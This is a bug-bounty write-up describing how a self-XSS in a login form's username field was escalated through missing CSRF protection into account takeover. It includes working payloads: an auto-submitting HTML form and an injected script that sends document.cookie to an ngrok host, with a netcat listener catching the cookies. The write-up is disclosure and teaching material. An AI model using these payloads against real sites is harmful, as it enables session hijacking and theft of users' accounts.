> For the complete documentation index, see [llms.txt](https://methodological-notes.gitbook.io/methodology/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://methodological-notes.gitbook.io/methodology/recon-strategies-by-other-hackers/from-self-xss-to-account-take-over-ato.md).

# From Self XSS to Account Take Over(ATO)

<figure><img src="https://miro.medium.com/v2/resize:fit:388/1*Wfb593bpG6-Ywg9xi_XX2w.jpeg" alt="" height="162" width="310"><figcaption></figcaption></figure>

Hello there ,

I’m Mostafa Elguerdawi, Today , I would like to share about one of my recent finding in&#x20;

[HackerOne](https://medium.com/u/6f816e37be2c?source=post_page-----812c194b61cf--------------------------------) ‘s program

Let’s say : https\://[reacted.com](https://reacted.com./)

When I’m testing on this site, there is a login function, as normal I tried login bypass using Response Manipulation, Default Credentials, and SQL Injection.

but nothing work, I decided to examine the source code and found of the username that I entered a little while ago printed inside the value attribute.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*h5P8coYMD8zy71DBlA4rqg.png" alt="" height="110" width="700"><figcaption></figcaption></figure>

I thought about trying an XSS injection so, I attempted to inject a double quote(“) within the username, I found that there is no filtering on it.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*DRg51_UYIKs84aEtqO_nog.png" alt="" height="109" width="700"><figcaption></figcaption></figure>

So, I thought about injecting ‘<’, which might also work.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*4tK6n3YnAISGqvVCK5AEtg.png" alt="" height="101" width="700"><figcaption></figcaption></figure>

Indeed, it worked!

So, I attempted to injecting a complete payload :

```
"> <svg/onload=alert("XSS")>
```

And it also succeeded!

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*28mX7_zTvPpuWcYAgA9Taw.png" alt="" height="144" width="700"><figcaption></figcaption></figure>

Unfortunately, this is a self-XSS

## Escalation phase <a href="#id-446d" id="id-446d"></a>

I ran my Burp Suite and intercepted the request during the login attempt.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*T9NA0WqKk8YOFYpDqmioaQ.png" alt="" height="673" width="700"><figcaption></figcaption></figure>

From the request, I noticed that there is no protection against CSRF, which is expected from a login function.

I attempted to escalate the self-XSS to reflected XSS using CSRF.

The payload used :

```
<html>
  <body>
     <form name='myForm' id='myForm' method="POST" action="https://reacted.com/authenticate">
        <input type="hidden" name="loginName" value="&#x22;&#x20;><svg/onmouseover=alert(1)&#x20;&#x22;>   
        <input type="hidden" name="loginPassword" value="test"/>
        <input name="loginForm" class="btn btn-success" type="submit" value="Log in"/>
                </form>
        <script>
           document.addEventListener('DOMContentLoaded', function(event) {
            document.createElement('form').submit.call(document.getElementById('myForm'));
            });
        </script>       
  </body>
<html>
```

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*9tCKYGM8ADDNtWvltqizYQ.png" alt="" height="244" width="700"><figcaption></figcaption></figure>

Yes, it worked!

with the help of ngrok, I managed to obtain anyone’s cookies

I opened two terminal tabs

first : ngrok http 80

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*hS9KVJcKrU5P3nJa3Nul4g.png" alt="" height="219" width="700"><figcaption></figcaption></figure>

second : sudo nc -nlvp 80

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*7BNnxG7qGkxvIpAWo_eBAg.png" alt="" height="134" width="700"><figcaption></figcaption></figure>

I used this payload in username :

> *\&#x22;\&#x20;> \<script>\&#x0a;fetch(‘https\://\<ngrok-Domain>', { method: ‘POST’, mode: ‘no-cors’, body:document.cookie });\&#x0a;\</script>\&#x20;\&#x22;*

*\&#x22;\&#x20; : is a double quote and white space encoded in html*

This payload retrieves the user’s cookies and sends them to me. With the help of netcat(nc), I can obtain these cookies.

final payload :

```
<html>
 <body>
  <form name='myForm' id='myForm' method="POST" action="https://reacted.com/authenticate">
   <input type="hidden" name="loginName" value="&#x22;&#x20;> <script>&#x0a;fetch('https://<ngrok-host>', { method: 'POST', mode: 'no-cors', body:document.cookie });&#x0a;</script>&#x20;&#x22;"/>
   <input type="hidden" name="loginPassword" value="test"/>
   <input name="loginForm" class="btn btn-success" type="submit" value="Log in"/>
  </form>
  <script>
   document.addEventListener('DOMContentLoaded', function(event) {
    document.createElement('form').submit.call(document.getElementById('myForm'));
    });
  </script>
 </body>
<html>
```

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*fm0K9T7mLZYzBEVt9_DxbQ.png" alt="" height="169" width="700"><figcaption></figcaption></figure>

Finally, I managed to obtain the cookies.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://methodological-notes.gitbook.io/methodology/recon-strategies-by-other-hackers/from-self-xss-to-account-take-over-ato.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
